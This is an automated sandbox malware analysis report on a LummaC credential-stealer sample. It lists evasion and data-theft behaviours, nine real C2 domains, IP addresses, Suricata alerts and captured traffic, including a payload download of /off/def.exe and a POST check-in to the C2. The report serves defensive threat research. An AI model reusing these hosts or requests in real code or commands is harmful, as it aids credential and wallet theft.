Edit tour

Windows Analysis Report
O53VxanH6A.exe

Overview

General Information

Sample name:	O53VxanH6A.exe renamed because original name is a hash value
Original sample name:	9b57fb40cc559ecac791f39ca8916ed8.exe
Analysis ID:	1581396
MD5:	9b57fb40cc559ecac791f39ca8916ed8
SHA1:	a211483d1ab7012ca4c523fccf893b2621238509
SHA256:	a9b14702444e713d91ef913475ab4b76e346566c08e71518229a0578224c0fd8
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

O53VxanH6A.exe (PID: 3664 cmdline: "C:\Users\user\Desktop\O53VxanH6A.exe" MD5: 9B57FB40CC559ECAC791F39CA8916ED8)

chrome.exe (PID: 7808 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1904,i,11070810031572161436,13522745428096851240,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5968 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1936,i,14675912434695337880,15358796132646183729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["scentniej.buzz", "inherineau.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "mindhandru.buzz", "appliacnesot.buzz", "cashfuzysao.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: O53VxanH6A.exe PID: 3664	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: O53VxanH6A.exe PID: 3664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: O53VxanH6A.exe PID: 3664	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: O53VxanH6A.exe PID: 3664	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:56:09.952708+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	172.67.165.185	443	TCP
2024-12-27T14:56:12.183972+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T14:56:19.072492+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	172.67.165.185	443	TCP
2024-12-27T14:56:21.706734+0100	2028371	3	Unknown Traffic	192.168.2.7	49715	172.67.165.185	443	TCP
2024-12-27T14:56:24.239831+0100	2028371	3	Unknown Traffic	192.168.2.7	49723	172.67.165.185	443	TCP
2024-12-27T14:56:27.477454+0100	2028371	3	Unknown Traffic	192.168.2.7	49736	172.67.165.185	443	TCP
2024-12-27T14:56:30.099958+0100	2028371	3	Unknown Traffic	192.168.2.7	49742	172.67.165.185	443	TCP
2024-12-27T14:56:35.656430+0100	2028371	3	Unknown Traffic	192.168.2.7	49753	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:56:10.586341+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49701	172.67.165.185	443	TCP
2024-12-27T14:56:17.477436+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T14:56:36.292473+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49753	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:56:10.586341+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49701	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:56:17.477436+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49702	172.67.165.185	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:56:37.849481+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49759	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:56:22.740041+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49715	172.67.165.185	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: O53VxanH6A.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/lV	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/1r	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apis/	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/Ky	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/3P	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/t	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/k	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/EDRHVD	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apix	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ws	Avira URL Cloud: Label: malware

Found malware configuration

Source: O53VxanH6A.exe.3664.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["scentniej.buzz", "inherineau.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "mindhandru.buzz", "appliacnesot.buzz", "cashfuzysao.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: O53VxanH6A.exe

ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: O53VxanH6A.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: O53VxanH6A.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49753 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: O53VxanH6A.exe, 00000000.00000002.1700003469.0000000006102000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49702 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49702 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49715 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49753 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49701 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49701 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 13:56:36 GMTContent-Type: application/octet-streamContent-Length: 2874368Last-Modified: Fri, 27 Dec 2024 13:00:41 GMTConnection: keep-aliveETag: "676ea4f9-2bdc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 88 f6 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 6e 72 74 6b 76 7a 64 00 60 2b 00 00 a0 00 00 00 4e 2b 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 78 6c 66 68 72 65 64 00 20 00 00 00 00 2c 00 00 04 00 00 00 b6 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2c 00 00 22 00 00 00 ba 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.165.185 172.67.165.185
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49723 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49736 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49742 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49753 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49715 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49759 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_109.12.dr, chromecache_87.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/9xt
Source: O53VxanH6A.exe, 00000000.00000002.1696135806.0000000001086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: O53VxanH6A.exe, 00000000.00000002.1696040820.0000000000F0A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: O53VxanH6A.exe, 00000000.00000003.1408040377.00000000058C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
